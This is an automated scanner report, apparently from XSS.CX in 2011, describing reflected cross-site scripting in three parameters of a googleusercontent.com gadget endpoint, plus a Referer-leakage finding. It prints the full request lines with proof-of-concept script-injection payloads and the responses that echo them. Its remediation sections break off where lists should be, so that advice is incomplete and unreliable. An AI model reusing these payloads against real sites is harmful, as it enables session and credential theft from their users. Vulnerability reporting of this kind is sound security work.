XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, Javascript Injection, googleusercontent.com

Report generated by XSS.CX at Fri Oct 21 17:21:09 CDT 2011.

1. Cross-site scripting (reflected)

1.1. http://ti7bsd2mqklod6oq6l8m74a4ip32qjt5-a-sites-opensocial.googleusercontent.com/gadgets/ifr [up_url parameter]

1.2. http://ti7bsd2mqklod6oq6l8m74a4ip32qjt5-a-sites-opensocial.googleusercontent.com/gadgets/ifr [url parameter]

1.3. http://ti7bsd2mqklod6oq6l8m74a4ip32qjt5-a-sites-opensocial.googleusercontent.com/gadgets/ifr [url parameter]

2. Cross-domain Referer leakage


1. Cross-site scripting (reflected)  next
There are 3 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://ti7bsd2mqklod6oq6l8m74a4ip32qjt5-a-sites-opensocial.googleusercontent.com/gadgets/ifr [up_url parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ti7bsd2mqklod6oq6l8m74a4ip32qjt5-a-sites-opensocial.googleusercontent.com
Path:   /gadgets/ifr

Issue detail

The value of the up_url request parameter is copied into the value of a tag attribute which can contain JavaScript. The payload javascript%3aalert(1)//a8cdc8b5 was submitted in the up_url parameter. This input was echoed as javascript:alert(1)//a8cdc8b5 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /gadgets/ifr?url=http://hosting.gmodules.com/ig/gadgets/file/105629041657992777031/iframe-wrapper.xml&container=enterprise&view=default&lang=en&country=ALL&sanitize=0&v=c62d646a77b78119&up_scroll=no&up_url=javascript%3aalert(1)//a8cdc8b5&libs=core&mid=3&parent=http://learn.googleapps.com/ HTTP/1.1
Host: ti7bsd2mqklod6oq6l8m74a4ip32qjt5-a-sites-opensocial.googleusercontent.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://learn.googleapps.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
P3P: CP="CAO PSA OUR"
Content-Type: text/html; charset=UTF-8
Expires: Fri, 21 Oct 2011 21:54:19 GMT
Pragma: no-cache
Cache-Control: no-cache
Date: Fri, 21 Oct 2011 21:54:19 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 6548
Server: GSE

<html><head><script>(function(){var a=window;function b(d){this.t={};this.tick=function(d,h,c){c=c!=void 0?c:(new Date).getTime();this.t[d]=[c,h]};this.tick("start",null,d)}var e=new b;a.jstiming={Tim
...[SNIP]...
<iframe allowtransparency="true" frameborder="0" height="100%" scrolling="no" src="javascript:alert(1)//a8cdc8b5" width="100%">
...[SNIP]...
1.2. http://ti7bsd2mqklod6oq6l8m74a4ip32qjt5-a-sites-opensocial.googleusercontent.com/gadgets/ifr [url parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ti7bsd2mqklod6oq6l8m74a4ip32qjt5-a-sites-opensocial.googleusercontent.com
Path:   /gadgets/ifr

Issue detail

The value of the url request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 31ba9%3balert(1)//c8736a7a9c0 was submitted in the url parameter. This input was echoed as 31ba9;alert(1)//c8736a7a9c0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /gadgets/ifr?url=31ba9%3balert(1)//c8736a7a9c0&container=enterprise&view=default&lang=en&country=ALL&sanitize=0&v=c62d646a77b78119&up_scroll=no&up_url=http://www.google.com/support/enterprise/static/gapps/docs/users/en/learning_center/updates_long.html&libs=core&mid=3&parent=http://learn.googleapps.com/ HTTP/1.1
Host: ti7bsd2mqklod6oq6l8m74a4ip32qjt5-a-sites-opensocial.googleusercontent.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://learn.googleapps.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 502 Bad Gateway
P3P: CP="CAO PSA OUR"
Content-Type: text/html; charset=UTF-8
Date: Fri, 21 Oct 2011 21:53:56 GMT
Expires: Fri, 21 Oct 2011 21:53:56 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 71
Server: GSE

Unable to retrieve spec for 31ba9;alert(1)//c8736a7a9c0. HTTP error 502
1.3. http://ti7bsd2mqklod6oq6l8m74a4ip32qjt5-a-sites-opensocial.googleusercontent.com/gadgets/ifr [url parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://ti7bsd2mqklod6oq6l8m74a4ip32qjt5-a-sites-opensocial.googleusercontent.com
Path:   /gadgets/ifr

Issue detail

The value of the url request parameter is copied into a JavaScript rest-of-line comment. The payload 284db%0aalert(1)//e43d585f51 was submitted in the url parameter. This input was echoed as 284db
alert(1)//e43d585f51 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /gadgets/ifr?url=http://hosting.gmodules.com/ig/gadgets/file/105629041657992777031/iframe-wrapper.xml284db%0aalert(1)//e43d585f51&container=enterprise&view=default&lang=en&country=ALL&sanitize=0&v=c62d646a77b78119&up_scroll=no&up_url=http://www.google.com/support/enterprise/static/gapps/docs/users/en/learning_center/updates_long.html&libs=core&mid=3&parent=http://learn.googleapps.com/ HTTP/1.1
Host: ti7bsd2mqklod6oq6l8m74a4ip32qjt5-a-sites-opensocial.googleusercontent.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://learn.googleapps.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 400 Bad Request
P3P: CP="CAO PSA OUR"
Content-Type: text/html; charset=UTF-8
Date: Fri, 21 Oct 2011 21:53:58 GMT
Expires: Fri, 21 Oct 2011 21:53:58 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 154
Server: GSE

Unable to retrieve spec for http://hosting.gmodules.com/ig/gadgets/file/105629041657992777031/iframe-wrapper.xml284db
alert(1)//e43d585f51. HTTP error 400
2. Cross-domain Referer leakage  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ti7bsd2mqklod6oq6l8m74a4ip32qjt5-a-sites-opensocial.googleusercontent.com
Path:   /gadgets/ifr

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /gadgets/ifr?url=http://hosting.gmodules.com/ig/gadgets/file/105629041657992777031/iframe-wrapper.xml&container=enterprise&view=default&lang=en&country=ALL&sanitize=0&v=c62d646a77b78119&up_scroll=no&up_url=http://www.google.com/support/enterprise/static/gapps/docs/users/en/learning_center/updates_long.html&libs=core&mid=3&parent=http://learn.googleapps.com/ HTTP/1.1
Host: ti7bsd2mqklod6oq6l8m74a4ip32qjt5-a-sites-opensocial.googleusercontent.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://learn.googleapps.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
P3P: CP="CAO PSA OUR"
Content-Type: text/html; charset=UTF-8
Expires: Sat, 20 Oct 2012 21:53:17 GMT
Cache-Control: private,max-age=31536000
Date: Fri, 21 Oct 2011 21:53:17 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 6620
Server: GSE

<html><head><script>(function(){var a=window;function b(d){this.t={};this.tick=function(d,h,c){c=c!=void 0?c:(new Date).getTime();this.t[d]=[c,h]};this.tick("start",null,d)}var e=new b;a.jstiming={Tim
...[SNIP]...
<body dir="ltr"><iframe allowtransparency="true" frameborder="0" height="100%" scrolling="no" src="http://www.google.com/support/enterprise/static/gapps/docs/users/en/learning_center/updates_long.html" width="100%"></iframe>
...[SNIP]...
Report generated by XSS.CX at Fri Oct 21 17:21:09 CDT 2011.